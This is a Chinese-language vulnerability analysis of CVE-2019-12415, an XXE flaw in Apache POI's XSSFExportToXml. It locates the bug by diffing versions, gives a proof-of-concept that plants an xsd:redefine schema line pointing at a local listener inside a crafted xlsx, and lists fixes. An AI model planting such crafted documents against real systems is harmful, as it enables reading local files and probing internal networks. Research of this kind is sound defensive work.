关于 CVE-2019-12415
这是最近 POI 官方公布出来的一个 XXE 漏洞,可以影响到 4.1.0 版本,官方已在十天前更新了 4.1.1 版本,最新版本修复了这个 XXE漏洞。
In Apache POI up to 4.1.0, when using the tool XSSFExportToXml to convert user-provided Microsoft Excel documents, a specially crafted document can allow an attacker to read files from the local filesystem or from internal network resources via XML External Entity (XXE) Processing.
根据官方介绍,漏洞是在使用XSSFExportToXml
类 xlsx 转 xml 时触发的。
diff 了一下 4.1.0 和 4.1.1 XSSFExportToXml 类的源码,发现在 isValid 方法里多设置了一个 feature,问题就出在 org.apache.poi.xssf.extractor.XSSFExportToXml#isValid
方法里,如果org.apache.poi.xssf.extractor.XSSFExportToXml#exportToXML(java.io.OutputStream, java.lang.String, boolean)
方法的第三个参数为 true 则会进入isValid
触发XXE。
复现
我改了一下官网的测试用例,如果写成这样的,就会有漏洞。
XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream(new File("CustomXMLMappings.xlsx")));
for (XSSFMap map : wb.getCustomXMLMappings()) {
XSSFExportToXml exporter = new XSSFExportToXml(map); // 使用 XSSFExportToXml 将 xlsx 转成 xml
exporter.exportToXML(System.out, true);//第一个参数是输出流无所谓,第二个参数要为 true
}
然后下载这个 xlsx 文件。
把文件改为“CustomXMLMappings.zip”并解压文件。
编辑 CustomXMLMappings/xl/xmlMaps.xml
文件。
在 <xsd:schema>
标签里面加上一行代码。
<xsd:redefine schemaLocation="http://127.0.0.1:8080/"></xsd:redefine>
然后把 xlsx 释放出来的所有文件再用 zip 打包回去,改成 CustomXMLMappings.xlsx
。
最后一步监听本地 8080 端口,运行这段代码。
XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream(new File("CustomXMLMappings.xlsx")));
for (XSSFMap map : wb.getCustomXMLMappings()) {
XSSFExportToXml exporter = new XSSFExportToXml(map); // 使用 XSSFExportToXml 将 xlsx 转成 xml
exporter.exportToXML(System.out, true);//第一个参数是输出流无所谓,第二个参数要为 true
}
修复
- 更新到 4.1.1 及以上版本。
- 不要使用 XSSFExportToXml 类,或者不要让 exportToXML 方法的第二个参数为 true。